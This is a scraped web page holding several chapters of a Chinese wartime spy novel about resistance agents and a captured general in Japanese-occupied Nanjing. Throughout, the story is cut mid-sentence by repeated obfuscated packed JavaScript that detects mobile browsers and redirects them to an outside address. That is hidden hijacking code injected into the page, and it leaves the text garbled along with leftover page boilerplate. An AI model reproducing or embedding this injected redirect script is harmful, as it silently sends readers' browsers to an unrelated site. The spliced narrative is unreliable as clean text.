林赤又一次来到大华百货店,董德奎正在店里安排人重新布置店铺,准备开张事宜。接近一百平米的一楼店面,被他独具匠心地分割成若干区域,有日用品区、食品区、杂货区、衣帽区……除此之外,他另辟一处专门售卖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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池橙来不及追,只得远远喊道:“思秋姐,你去哪儿啊?我还有话问你呢!” “我马上还回来。”曲思秋话未说完,人已跑出几十米开外。 车子还在,暮色中,曲思秋看到林赤坐在驾驶室里正探着头向巷子里张望,他一见曲思秋马上叫道:“我的姑奶奶,你可误我大事了,快上车!”说着抬起身子将副驾驶室车门推开。 曲思秋一脸歉意道:“我还有事,你先走吧,我特地先来通知你的。” 离与蜂鸟的约定见面时间还有不到半小时,锤子应该已到了悦颜照相馆等他,林赤不再纠缠,驾车一溜烟跑了。 曲思秋立即回到池碧疆的住处,池碧疆已经做好了出门的准备。 池橙再次见到曲思秋,不顾父亲的催促,欢天喜地地把曲思秋拉到了一旁。 “我给你两个选择!”池橙忽然间板起了脸。 曲思秋看她愈发显出孩子气的,心中不禁暗暗发笑。 “说吧,只要条件不过分,我尽量择其一。” “其一,带我去见曲思冬,我想加入他们!”池橙斩钉截铁道。 曲思秋正在思考如何回答,池橙不失时机地强调了她的理由:“整个南京……不!满中国就我池橙一人闲着,过着衣来伸手、饭来张口的麻木不仁的生活,其他的人们或多或少都在尽自己的微薄之力,可是我在干什么呢?我在鬼子的庇荫下,苟且偷生!”池橙说完,眼睛中充满期盼的眼神。 “我无法答应你的这一要求!”曲思秋说道,“首先,你的这一要求,我哥肯定不同意,他们现在所做的,都是在刀尖上舔血,是男人们干的事情,你去,反而会拖累他们的!再说,我现在也不知道他们到了哪里……” “他们不是在紫金山一带吗?”池橙言辞间已经满是沮丧。 “他们已撤离了,前些日子,鬼子对紫金山一带进行了扫荡,那里已经无法久留,我哥带着队伍撤向更偏僻的城郊地区了。” 池橙投来关切的目光,却撞上了曲思秋忧虑的眼神。“我现在和你一样,很担心我哥他们……你还是说说第二个选择吧!” “……那从明天起我去你的诊所帮忙,你好歹让我干点事!这点要求你可别推三阻四了……这可是个小小要求,就算我求你了!” “这要求倒是可以考虑,但必须得到你父亲的同意。” 池橙立即轻松起来,立即冲着池碧疆跑了过去,刚想开口,池碧疆道:“橙儿,我还得带着曲思秋去办理诊所的事,你有什么事等我回来再说吧。” 池橙不再说什么。池碧疆亲自驾车带着曲思秋往三条巷而去。 …… 林赤驱车回到悦颜照相馆,锤子果然已至,从他焦急地神情可以看出他已等候多时。 带上锤子,林赤开车朝着钟山大饭店方向疾驰而去。 来到钟山大饭店,已过八点,二人来到四楼410房间,蜂鸟已经在等他们。 蜂鸟将二人快速迎进房间。 关于迟到,蜂鸟只字未提。 “你就是锤子同志?”蜂鸟打量着锤子问道,不等林赤介绍,已伸手握住锤子问候道:“你好,锤子同志!” “你好,蜂鸟同志。” 待林赤和锤子坐下,蜂鸟忽然问道:“你们最近在燕子矶码头一带有没有行动?” 锤子茫然地看着林赤,林赤摇头,锤子再把目光转向蜂鸟说道:“应该没有吧…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259603|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “怎么啦?”林赤问。 “我下午接到情报,最近鬼子在燕子矶码头加强了一倍以上的警戒力量,不但如此,还有数量不菲的便衣集结于此,我们的内线觉得可疑,特地询问了我!” “没有,我们在那里没有任何行动。”锤子道。 “这我就放心了。”蜂鸟松了一口气,对林赤说道:“你不是说有什么想法吗?我们一起合计合计,决定一下南京站下一步的战略方针,我的原则是‘缜密思考、大胆行动’!不过,南京的情报工作你们最了解,所以工作方针总的来说,还是以你们的思路为主,我不加干涉!” …… 曲思秋带着池碧疆回到三条巷的家,池碧疆把车停在巷口,曲思秋赶紧跑回了家。 女儿的突然现身让曲怀齐夫妇好一阵激动。 曲思秋问候了父母后,立即提着装有电台的木箱回到了车上。 池碧疆送曲思秋回诊所,来到中山中路上,池碧疆将车停在诊所对面的大华电影院门前,曲思秋正欲下车,池碧疆说道:“稍等一下,有些事我继续和你谈谈。” 曲思秋重新坐定。 池碧疆说道:“刚才在我家,很多事情没时间说得太详细,我现在再说说。” “池老师您说。” 池碧疆的目光掠过悦颜照相馆,说道:“明天起,日本人开始全城推行良民证,这家照相馆就是我们鼓楼区的现场办理点,日本人也会派人参与,我会安排两个人前来,其中有个叫牛玉高的,是我们的同志,我已经指示他,凡是中国人,不要刁难,尽量都给办上良民证,你也办一张,以后可以光明正大地走动了。” 本小章还未完,请点击下一页继续阅读后面精彩内容! 第94章 激情燃烧的夜晚 曲思秋开门,林赤刚想挤进来,被曲思秋用身体堵住。 “我们还是出来说吧。”曲思秋出了诊所,顺手关了灯,掩上房门。 星光下,只能看到林赤的脸型外廓,无法看清神情。 “我刚回来,小曹和我说了,我就立即赶来了。”林赤说道。 “什么事耽搁这么久?” “系统地研究了一些行动计划。”听得出林赤的语气有些亢奋,也掺杂着一丝激动,还有些许的得意,像是黑夜里见到了灯光,溺水者找到了浮木。 曲思秋轻轻“哦”了一声,说道:“他们都睡了,房间里说话不方便。” 林赤也轻轻“哦”了声。 “要不,我们到你车里聊聊?” 林赤没说话,突然牵起曲思秋的手,向悦颜照相馆走去。 曲思秋一愣,马上感受到林赤那双大手的温润和力量,心跳加快,不由紧趋脚步贴在他的身旁。 林赤打开后车门,拉着曲思秋上了车。 林赤并未放手,曲思秋也未把手抽出。 “什么事?说吧。” 林赤开门见山,曲思秋反而不知从何说起,在这之前,她洋洋洒洒打了一大通长篇大论的腹稿,经林赤这么一问,一霎那全忘了。 “一定很重要吧?”林赤又问。 “嗯……”曲思秋还是找不到合适的开场白。“就是……就是……”曲思秋竟有些口吃。 “我知道了,一定是想让我帮你们!” 曲思秋很意外,脱口而出:“你怎么知道?” 林赤呵呵一笑,说道:“你以前根本不是这样的性格,从来就是有话直说,哪里像今天这样吞吞吐吐?看你如此为难的样子,肯定是有事求我,这么晚了,你迫不及待找我谈,那定不是私事,你我分属不同的阵营,你代表的是你的党,你们那个党目前太弱小了,人丁不旺,要想在这座城市有所作为,当然困难不小,所以我猜测你们是不是遇到难题了?” 曲思秋心中一时感慨万分,首先林赤的所谓“猜测”竟然严丝入扣,分毫不差,足见此人聪慧过人,其二,她的党目前的确如林赤所言,尚还很羸弱,甚至经受不了太多的风雨,必须借助外部的力量,而这外部力量居然是曾经的对手、不共戴天的冤家,如果不是外夷的铁蹄践踏,又何来短暂的和睦? “你说的没错,我找你确实不是私事,而是请你给我们提供一次帮助!但你不必如此高高在上,我们的党虽然目前跟你们不在一个级别上,但总有一天,我们会超过你!”曲思秋毫不客气呛声道。 “哈哈,超过我们?”林赤语气中有些不屑。 “你还别不信,早晚你会看到这一天!” “凭什么?”林赤不服气地口气。 曲思秋觉得在这件事上,一定要要解决根本问题,那就是尽量说服他,否则,他的帮忙或许会成为敷衍,当然如果能够如池碧疆所言,一次性把他争取过来那自然省了很多事,便理了理思路,认真说道:“我们党比你们的党先进,我们的主义也是最代表民意的,这么说吧,就目前的迹象来看,你们的党是为少数人服务的,而我们不一样,我们是服务最广大的人民群众,尤其是深陷于水深火热中的劳苦大众……” “好了!”林赤打断了她,“你不要给我上课了,我承认你们党的先进性,也相信你们有很好的未来,但是现在我们不讨论政治,我们现在有了共同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259604|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的敌人,那就是忽然闯进我们家门的小日本畜生,他们杀人放火,无恶不作,恶贯满盈,当下我们最迫切的任务就是把这帮强盗赶尽杀绝,赶回老家去!这是大前提,但凡有利于这样的前提,我林赤都干了!” 林赤的打断让曲思秋有些沮丧,看来想一时半会改变他的立场并非易事,易换他的信仰更无法一蹴而就,可谓任重道远……但林赤后面的一番话也让她一下子明白,此次的忙林赤不但会帮,而且会不折不扣。 在他的心中,打鬼子是主要矛盾,其它的,在他看来都风淡云清,甚至不值一提。 “既然如此,我也就不客气了,跟你直说了。”曲思秋重新调整了一下思路。 “你跟我客气啥,说吧,需要我做什么?” “我们有位很重要的人物这两天会潜入南京城,我希望你能参与保卫他的安全!” “哦,就这事?没问题呀,小事一桩!”林赤不假思索道。 曲思秋心中的一块石头放下了,但见林赤回答得这么爽快,有点玩世不恭,怕他不重视,便强调道:“他是我们党在南京和上海两城的最高首长,是前来领导我们党对日斗争的,所以他的安全对我们至关重要!” “这么巧!”林赤感叹道。 “什么这么巧?”曲思秋追问。 林赤略加思考说道:“跟你说也无妨,我们最近也在宁沪两城加强了指挥,并统一了领导,看来我们两党的高层都想到一块了!”林赤顿了顿,不无得意地继续说道:“但我们和你们不一样,我们的首长有身份掩护,几乎不用特意的保护,可以在敌占区自由往来!” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第95章 意外的巧合 曲思秋闻言大惊失色。 “消息可靠吗?”曲思秋一个劲地问。 “我的消息渠道完全是局外人的角度,自然相当可靠!”林赤道,他知道自己的这一番话,对于曲思秋这样一个出道不久的丫头片子而言,应该对她震动很大,说不定已经吓着她了,便安慰道:“也不要太紧张,亡羊补牢嘛,一切尚可弥补。” “不行,我得赶紧通知我的上级,早做准备。”果然,曲思秋再也平静不下来了。 林赤心中苦笑,只得进一步劝慰道:“现在太晚了,所有人都睡了,满南京也就我们俩人夜不能寐,还在街道上游荡。” 曲思秋立即求援般问林赤:“那我怎么办?” 林赤话题一转:“同志,你是哪一年加入你的组织的?” 曲思秋警惕地问道:“你什么意思?” “我想告诉你,遇事要冷静,千万不要慌张,一旦内心慌张,自然阵脚大乱,对问题的解决没有丝毫帮助,反而在判断上会有失偏颇!” “你直接告诉我怎么办吧,哪来那么多的说教?”二人的感情在一晚上忽然得到升华,曲思秋已不把林赤当外人。 “好歹等到天亮再说吧,到时再通知也不迟啊……别胡思乱想了,抓紧时间睡觉吧,明天起早点,我送你过去。” 曲思秋虽心有不甘,倒也无计可施,就和林赤道声再见。 一夜无话,翌日一早,曲思秋果然早早敲开悦颜照相馆的大门,边敲门边喊道:“林赤,快起床!” 林赤睡在里间,开门的是曹响亮,曲思秋听闻脚步声渐近,以为是林赤,戏谑道:“你这个懒猪……”门打开,却不是林赤,曲思秋有些不好意思,讪讪道:“林赤人呢?” “我在呢。”林赤的声音从屋内传出,接着林赤趿拉着鞋跑出,睡眼惺忪说道:“你是不是没睡呀!” 旭阳尚未升出东方的天际,只是刚刚在层叠的云间勾出一抹浅青的颜色。 林赤拗不过曲思秋的催促,匆匆洗漱,开车带着她往火瓦巷而去。 来到火瓦巷口,曲思秋迟疑片刻,照例让他在此等她,林赤也不计较,含笑道:“待会儿可别再来找我。”说完便将脑袋往座椅上一靠,双臂拢住上衣,继续小睡。 池碧疆的院门依旧紧闭,曲思秋抬手捶门。 好一会儿,有人前来开门,是红霞,她诧异问道:“你是找橙儿还是老池?” “我找迟老师。” “谁找我?”紧接着,池碧疆走出大门,高声问道。 “是我,曲思秋。”曲思秋急中生智补充道:“我们诊所遇到点麻烦。” 池橙听到曲思秋的声音,衣衫不整走出卧室,兴奋地说道:“思秋姐,我爸同意我去你的诊所帮忙啦!” “太好了!”曲思秋敷衍道。眼睛却看着池碧疆,池碧疆已经知晓曲思秋一定有要事,但只以为是有关林赤帮忙的事,也不着急,不慌不忙道:“你们先聊会,我洗一洗。” 池橙转头对红霞道:“妈妈,你让奶奶烙些面饼,留思秋姐在我家吃个早饭。” 红霞应了,转身忙去了。 “是不是还是关于诊所的事?我爸还没给你办好?”池橙抱怨道。 “也不能怪你爸,现在是日本人的天下,你爸也只是寄人篱下。” 池碧疆从洗漱间走出,对曲思秋道:“你也别忙走了,在我家吃完早饭,然后带池橙一起回诊所,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259605|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经同意了,让她也做点事,省得一天到晚找我麻烦。” 曲思秋无心谈这些,不断点头说好,见缝插针道:“池老师,你忙好了吗?我和你聊聊诊所的事。” “好了好了,我们书房谈。” 进了书房,池碧疆道:“你那位朋友答应帮忙了?” “是的,他答应了……” “很好,我就说嘛,巧妙地利用……运用情感也不是不可以的!”池碧疆抢着说道,一脸得色。 “不是……”曲思秋焦急地补充道:“我听说鬼子最近在燕子矶码头一带加强了警戒!” 池碧疆脸色一下阴沉下来,急急问道:“谁说的?!” “林赤告诉我的!” “他怎么会知道?”池碧疆脸上布满疑惑。 “我也问过他,他说是偶然获知。” “他是故意吓唬你吧?”池碧疆启发着曲思秋,“你们小年轻之间,是不是有时为了增加一些……一些情趣,故意逗你玩?” “不会!”曲思秋即刻否定,“绝无玩笑之意,他不是嬉皮轻浮之辈,说这话时很严肃,并且是他一早把我送过来的!” “他具体怎么说的?” “他声称是从他们的情报系统获此信息的!” 池碧疆沉思俄顷,问道:“他人走了?” “没有,我和昨天一样,让他在巷口车里等我。” 池碧疆想了想说道:“你快去把他叫过来,我要亲自核实!” 林赤正睡得迷糊,听到有人敲击着车窗户,知道是曲思秋返回了,也不睁眼,继续假睡。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第96章 老虎桥监狱 老虎桥路32号,老虎桥监狱。 创建于清朝光绪年间的老虎桥监狱,在宣统年间规模得到进一步扩大,其悠久的历史并没有给这片古旧的建筑群增光添辉,相反,那份沉淀处处散发出腐朽的戾气,在人们的心中,更多留下的是神秘和恐惧。 老虎桥监狱现有监房150间左右,可容纳犯人近3000人。 南京沦陷前,老虎桥监狱收纳犯人有1000多人,除了一部分政治犯,其他的均是经过了国民政府南京法院审理后的获罪之身,国民政府撤退之际,对老虎桥监狱的罪犯进行了系统的清理,在政治犯的处理上,一部分莫须有的统统释放,一部分证据不清但疑点重重的继续羁押,一部分顽冥不化的行刑于雨花台,还有少量的有价值的被押解至重庆;在非政治犯的处理上,蒋总统亲自签发特赦令,除了杀人越货等社会危害程度大的重刑犯继续羁押外,其余的获罪轻者统统释放,因而,老虎桥监狱并没有因为政府的撤离而清空,依旧滞留着两百多名的“罪犯”,继续发挥着它的关押改造之功能。 有罪犯就必须有管理,最终,原老虎桥监狱的副典狱长陈柄松被迫留守于此。 南京失陷后,最先占领老虎桥监狱的是日军第十六师团一步兵小队,日军接管该监狱后,由于陈柄松和他的十多名狱警占尽了地利人和,日本人并没有为难他们,而是继续留用,只不过,陈炳松成了名副其实的副典狱长,专门协助典狱长武内次郎管理监狱。 武内次郎的官阶很低,只是日军南京宪兵司令部的一名上尉参谋,这样的级别即便是作战部队的编制,充其量也只能领导一百多名士兵,然而,加上派驻老虎桥监狱的日军小队,武内次郎辖下三百多号人,一下子成为了南京城同级别中管理人数最多的军官!随着日军对沦陷后的南京城彻底的清剿,疑似中国军人的嫌犯被大量挖出,他们中的一部分人又被塞进了这所监狱,最多的时候,已人满为患,远超过了它承载的极限……此时,武内次郎充分彰显出他至高无上的权力,经由他之手核准的枪杀名单很快被执行,接着又有嫌疑犯被关押进来,如此反反复复……因而,老虎桥监狱似乎总是保持着某种动态平衡! 可是,在这里关押的全部嫌犯中,竟也有人是他动不了的。 起码,该监狱的甲区嫌犯他无权染指。 他负责的老虎桥监狱,对甲区的嫌犯仅仅是担任着托管的义务。 在甲区的关押嫌犯中,更有一名嫌犯是被武内次郎奉为上宾的,甚至连提审的权利都被剥夺。 他就是甲区八号监房的刘云雄。 隶属87师的260旅少将旅长刘云雄,毕业于黄埔二期步科,曾就职于蒋介石的警卫军,可谓是嫡系中的嫡系,南京保卫战期间,奉命率部于城外工兵学校构筑阵地阻击日军,12月9日即遭遇日军第九师团吉住良辅部的先锋部队,数天的激战,阵地几经易手,最终不敌,被迫退至城内,刘旅长化妆成一名普通老百姓混迹于安全区的难民中,后被日本人以疑似中国军人清理出难民队伍,由于年纪稍大,又没有确凿证据,被日军征为挑夫。 正当刘云雄以为可以逃过一劫时,他的一名年轻部下在鬼子的枪口下揭发了他。 刘云雄很快被揪出,羁押于老虎桥监狱,在双方的对质下,刘云雄不得不承认了自己的真实身份,从普通监房立即转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259606|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 移至甲区八号监房。 刘云雄的被捕,震惊了日本军界,毕竟,他是中国全面抗战以来,首位身陷囹圄的中国将军。日本华中方面军总司令松井石根大将亲自指示黑木承办。 第二天,松机关就接手了此案。 对于刘云雄的处理意见,日军军部产生了两种不同的声音,第一种认为必须斩立决,以儆效尤,打击中国人的抗战意志!然而,这样的声音很快被第二种声音掩盖,其中以松井石根为代表,他们认为,策反这样的中国高级军官更能瓦解中国国民的斗志,并可以起到示范带头作用,更重要的是,作为如此级别的中国军人,毕竟掌握了丰富的人脉资源,一旦争取过来,效用不可估量! 松机关的机关长黑木将军正是以这样的思路开始了策反刘云雄的工作。 黑木第一次提审刘云雄,几乎无功而返,他晓以大义陈清利害费尽了口舌,刘云雄依旧不为所动,他对他的身份供认不讳,其它的一切,皆三缄其口。 第二次提审,黑木诱以厚利,刘云雄还是我行我素。 第三次提审,黑木在征得松井石根的同意后,对刘云雄施以酷刑,照例收效甚微。 在这之后,沮丧地黑木决定另辟蹊径。 经过一段时间细致的工作,黑木很快获知刘云雄在上海的家庭住址,在求得上海总领事馆副领事岩井英一的帮助后,进展非常顺利,刘云雄夫人秦素芬很快在上海被捕获,正当黑木信心满满的时候,岩井的一个电话让黑木如坠冰窖:押解秦素芬的专车奇异失踪了,秦素芬不知所踪。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第97章 提审 松机关的车队继续向北一路疾行。 头转向窗外的秦素芬将目光重新收回。 黑木凝视秦素芬,她的目光先是闪烁,接着大胆迎向黑木。 “你怎么了?”黑木逼问。 “南京的街道怎么如此破旧?和我想象中天壤之别!”秦素芬皱了皱眉,眼神中流露出厌恶,“你们对这座城市到底都做了什么?!” …… 数分钟后,车队安全抵达老虎桥监狱。一路无话。 武内次郎带着陈炳松等五六名部下果然已在监狱门前候迎。 武内次郎趋步上前,替黑木打开车门,然后敬了个军礼。 陈炳松率众人则恭恭敬敬地低着头,呈夹道欢迎之势。 “将军。我们已在此恭候多时!” 黑木回敬了个军礼,昂首下车,阔步前行。 从军用三轮摩托上快步下来一众日本士兵,分流两股,一股即刻跟在黑木身后,团团护卫着黑木,另一股将秦素芬的座驾围住,从后面一辆轿车匆匆走下的渡边雪奈几人中,马上上前两位男子,将秦素芬架下车,簇拥着秦素芬走进了监狱的大门。 两名狱警先于黑木早早将监狱的铁门拉开。 大门两侧的岗楼里,数名荷枪实弹的日本士兵立即朝黑木行礼。 进入监狱,远处屹立着三栋房子,呈“品”字形排列,主体建筑是一栋三层的楼房,占地面积很大,矗立在监狱大门正对面,左右手两侧各自盘踞一栋两层的楼房,这三栋房子构成了一个偌大的连体结构,在它们的正中央,是一块数百平方的空地,一道东西走向的铁网又把它分割成两块,在空地的四周,密布着数十米高的铁丝网。 武内次郎小跑而至,来到黑木身旁。 “将军,这位女士的监房您是否要亲自过目?” “不用,但我有两点要求。” “将军请说。” 黑木驻步,思考片刻,转头对武内说道:“一、条件不能差,你必须尽可能优待此人,一定要单独关押,隔绝她对外界的所有接触,没有我的命令任何人不可见她!二,必须远离刘云雄的监房,不能让他们二人有相见的机会!” “是!”武内双脚并拢,挺直身子回答,说完向陈炳松招了招手。 陈炳松疾步跑近武内次郎,“典狱长有何吩咐?” “你把这位女士带到甲区3号监房!”陈炳松应了一声立即安排下去。 秦素芬被押走后,黑木满脸疑惑地问道:“你把他们都安排在甲区?” “哦,是这样……”武内次郎连忙指着对面的主体监狱大楼解释道:“我来给将军介绍一下老虎桥监狱,我们监狱的犯人有两处关押地,一处就是您对面的这栋楼……”武内又指着左手一侧的二层楼说道:“另一处就是这栋楼。”武内放下手臂继续道:“只有犯人数量容不下了,我们才启用附属监狱楼,通常所有的犯人都关押在主体监狱大楼里,甲区监房也设在主体监狱楼里,这里所有的单间监房都被纳为甲区,但分散在两处,前面的1至7号分布在三楼,主要是收容女犯,后面的8至15号分布在二楼,主要收容男犯,都是独立管理,根本连面都见不着……” 黑木听到这里打断了武内,不耐烦地说道:“犯人的放风时间是怎么安排的?” 武内惴惴不安答道:“上午十点一次,时间是一刻钟,下午四点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259607|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一次,时间是二十分钟……” 黑木皱了皱眉:“犯人放风安排在什么地方?” 陈炳松见武内典狱长额头上沁出了汗珠,一副惶惶不安的样子,连忙抢着替他答道:“犯人放风统一安排在监房前的空地上……”他边说边指着远处被铁丝网严密包围着的那处空地说道,“男女犯人我们中间隔着铁丝网呢!” “那你怎么保证放风时间他们见不到面?”黑木愈加显得没有耐心。 “是的,我是这样考虑的,我们监狱的女犯数量不多,总数才二十名不到,我不打算给她们放风时间……” 黑木脸色稍缓,“那就好,就这么办!” 武内次郎和黑木的级别相差太多,这一通对话下来,已大汗淋漓。黑木爱怜地看他一眼,柔声说道:“另外,我再提醒你一下,秦素芬不是犯人,她是帝国的朋友,你要好好照顾,尽量满足她的要求。” 武内连连点头,半晌小心问道:“将军,要不要到我办公室歇息一下?” “不用了。”黑木继续前进几步,回头吩咐武内次郎:“你派人把刘云雄带到审讯一室。” …… 提审犯人的审讯室,置于主体监狱大楼的地下室。 地下室阴森黑暗,终日不见阳光,全靠电灯照明。 这里共设置了四间审讯室,其中以一室最为气派。 说它气派,不如说它设备最全,说它设备最齐全,不如说它刑具最齐全。 还有,这间房子的空间也是最大的。除此之外,它的配饰也很考究,居然摆设了一张办公桌和一张真皮沙发。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第98章 利诱威逼 刘云雄并未伸出手,任由黑木的手僵在空中。 黑木有些尴尬,空中的手如果就此垂下,则不免有失颜面,停滞片刻,便继续上扬,轻轻拍了拍刘云雄的肩膀,话语立即不失时机地迸出,试图饰掩对方对自己不轻不重的羞辱:“刘将军,别来无恙!” 刘云雄只是静静地看他,一言不发。 黑木硬生生地忍住心底即将升腾的一股火苗。 按审讯流程,此时的刘云雄应该押至刑讯区,但狱警发现黑木将军似乎言犹未尽,一时间不知如何是好。 “给刘将军赐座。”黑木提高了声音命令道。 一张椅子很快放至他的面前,刘云雄毫不迟疑地坐下。 黑木也让人搬来一张椅子,在他的对面坐下。两位狱警不敢离开,依旧保持警惕站在刘云雄的身后,黑木手掌向外划了划,示意他们离开。 今天的黑木主要是押送秦素芬入监,其次才是顺带审一审刘云雄,因而,对于今天的审讯,他并未充分备课,也不打算用刑,就想再一次与他好好谈谈。他要检验一下上次用刑后对方的心理有否变化。 就目前情况来看,似乎效果不理想。对方表现出了还是桀骜不驯。 黑木把椅子往前挪了挪,说道:“刘将军,您是不是对本人充满仇恨?上次之所以对阁下用刑,实在是迫不得已……” 刘云雄哼了一声,表示不相信他的鬼话。 “刘将军您有所不知,自从您被检举揭发后,在我们军部高层一直存在两种声音,一种主张立即将您正法,以震慑贵国的民众抵抗意志,还有一种声音,以松井将军和我为代表,主张将您争取过来,投入帝国的怀抱,为大东亚之共荣尽绵薄之力……您被我们捕获已有些时日,然而此事一直悬而未决,毫无成效,军中已流言四起,断然认为您是不会屈从,就应立时了断,不可再心存幻想!松井将军爱才心切,这才不得已采用刑罚之下策,还望刘将军不要计较!” 刘云雄本来一直在注视着黑木,这时低垂下眼帘。 黑木心中暗喜,认为自己的这番话对他必有所触动,便继续再接再厉:“将军也知道,自从您来到老虎桥监狱,您一直尽享优待,衣食无忧,不但身体自由,不受枷锁羁绊,连行动也是最大限度的自由,可在指定的空间任意活动……我们总把您当成帝国的朋友,甚至每天还提供最新报纸供您阅读,让您时时了解外界最新动态!” 刘云雄又抬起头,看着黑木。 黑木停止说话,期待刘云雄的发声。 刘云雄果然说话了:“将军的心意我领了,不过,我只是作战部队的一名军人,所长也就是打打杀杀,专业也就是排兵布阵,其它概不不涉及,除此之外对你们根本没有任何利用价值,总不至于,将军您会说服你们陆军本部,让我刘某人再带领一支队伍?” 黑木有些沮丧,但却不气馁,只得顺着他的思路说道:“指挥军队倒也未尝不可,但这需要我呈报参谋本部……” “哈哈哈……”刘云雄忽然仰头大笑起来,好半天才停了下来,高声说道:“将军别把我当成垂髫小儿,要说贵军缺士兵我刘某人信了,要说缺指挥官,那是一抓一大把,你们尉佐级的军官,又有哪一个不是走火入魔,狂迷好战?又有哪一个不是在幻想通过这场战争改变自己的命运,从而成为一位叱咤风云的将军?就说你吧,你难道不想成为一名师团长?你难道就甘心掩埋在这样的机关里平平庸庸?!” 刘云雄的话说到黑木的心坎里了,指挥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259608|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作战部队和敌人在战场上一决高低一直是他梦寐以求的,尽管平素不太表露,但黑木太想争取这样的机会了,为此,他曾和松井石根将军在陶庐温泉别墅长谈过一次,哪怕是担任联队的旅团长也是不错的选择,然而,松井将军就是不松口,给他的理由竟然是他黑木瞳是情报战线一位不可多得的人才,且地位无人可撼、无人可替! 刘云雄也立即从黑木的神情中嗅到他的异样,知道他的内心正在波动,便继续顺着自己的思路说道:“我既然沦为你们的囚犯,已万念俱灰,更无资格和你们讨价还价,前些日子,我率我部260旅在工兵学校阻击你们第九师团的进攻,激战三天,虽然最终败退,但此役杀伤你方不下500人,于你们而言,可以说是血债累累,杀我,也是合情合理适得其所!我劝阁下,不要再浪费时间,还是爽快一点,给我来个痛快点的!” 黑木心中诧异!这是刘云雄第一次求死,前三次见面,他还表现出极强的求生欲,即使上一次遭受到肉体的折磨,他也不言放弃,可是几天不见,他已消极到想一死了之,难道是因为上一次的刑罚,摧残了他的意志,扼杀了他的尊严?黑木顿感不安,对上一次的用刑忽然心生后悔。 “刘将军还很年轻,千万不要胡思乱想!”既然对方连死都不惧,原有的思路必然失效,黑木决定重新调整策略,但无论如何,先必须唤醒对方生的希望!“将军好好想一想,您的被捕也将近十天了吧?我相信这个消息早就传到你们的最高统帅部,可是至今为止,您的政府连个外交照会都没有,更别说要求我方释放您了,显然,他们已把你抛弃了!这样的政 府,你还有什么理由为他卖命?” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第99章 新年前夜 时间过去很快,已接近上午十点。 